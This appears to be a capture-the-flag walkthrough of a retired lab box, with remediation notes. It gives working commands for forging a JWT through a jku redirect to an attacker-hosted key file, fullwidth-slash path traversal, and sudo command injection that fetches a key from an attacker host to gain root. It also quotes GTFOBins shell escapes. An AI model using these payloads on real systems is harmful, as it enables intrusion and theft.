Unicode
Summary
I discovered a custom web application at hackmedia.htb served by nginx. After registering a user account and logging in, analysis of the JWT authentication cookie revealed its header contained a jku claim pointing to the server's own public-key file. An unauthenticated open-redirect endpoint on the same origin was abused to trick the JWT validator into fetching an me-hosted JWKS file — making the server accept tokens signed with my own key.
A forged administrator token unlocked a file-display endpoint that attempted to block path traversal by filtering literal ../ sequences, but failed to normalize Unicode before checking; substituting the forward slash with the Unicode fullwidth solidus bypassed the filter entirely and allowed arbitrary file reads. Reading the application's database config file exposed the code Linux user's password, which was reused for SSH access, yielding the user flag. For root, a sudo rule permitted code to run a PyInstaller-compiled Python binary (treport) without a password.
Decompiling the binary revealed it built a curl command via os.system() with user input concatenated unsanitized into the shell string. Injecting brace-expansion curl flags wrote my own SSH public key into /root/.ssh/authorized_keys, granting a full interactive root shell.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p22,80 $TARGETecho "$TARGET hackmedia.htb" | sudo tee -a /etc/hostsExact commands 4
curl -s -X POST http://hackmedia.htb/register -d "username=$USERNAME&password=$PASSWORD2"curl -s -c cookies.txt -X POST http://hackmedia.htb/login -d "username=$USERNAME&password=$PASSWORD2" -v 2>&1 | grep -i 'set-cookie'python3 jwt_tool.py <JWT_TOKEN> -Tcurl -s http://hackmedia.htb/static/jwks.jsonFixPin the JWT signing key server-side; never trust a client-supplied key URLCritical
Exact commands 3
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://hackmedia.htb/redirect/?url=http://$ATTACKER_IP:8000/jwks.json" -I -pc sub -pv adminpython3 -m http.server 8000curl -s -b 'auth=<FORGED_JWT>' http://hackmedia.htb/dashboard/FixRemove or restrict the open-redirect endpointHigh
Exact commands 2
curl -s -b 'auth=<FORGED_JWT>' 'http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd'curl -s -b 'auth=<FORGED_JWT>' 'http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fvar%ef%bc%8fwww%ef%bc%8fhtml%ef%bc%8fdb.yaml'FixNormalize and canonicalize file paths before applying any traversal filtersCritical
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null code@$TARGET 'id'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 code@$TARGET 'cat /home/code/user.txt'FixRemove plaintext credentials from web-accessible config filesHigh
Exact commands 4
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no code@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S -l 2>&1"scp -o StrictHostKeyChecking=no code@$TARGET:/usr/bin/treport ./treportpython3 pyinstxtractor.py treportuncompyle6 treport_extracted/treport.pyc > treport_source.py && cat treport_source.pyFixRemove the treport sudo rule and eliminate shell injection in its curl invocationCritical
Exact commands 5
ssh-keygen -t ed25519 -f /tmp/root_key -N ''python3 -m http.server 8001sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no code@$TARGET "printf '3\n{--output,/root/.ssh/authorized_keys} http://$ATTACKER_IP:8001/root_key.pub\n' | sudo -n /usr/bin/treport"ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'timeout 12 sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null code@$TARGET "printf '3\n{--config,/root/root.txt}\n' | sudo -n /usr/bin/treport" 2>&1 | head -160Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |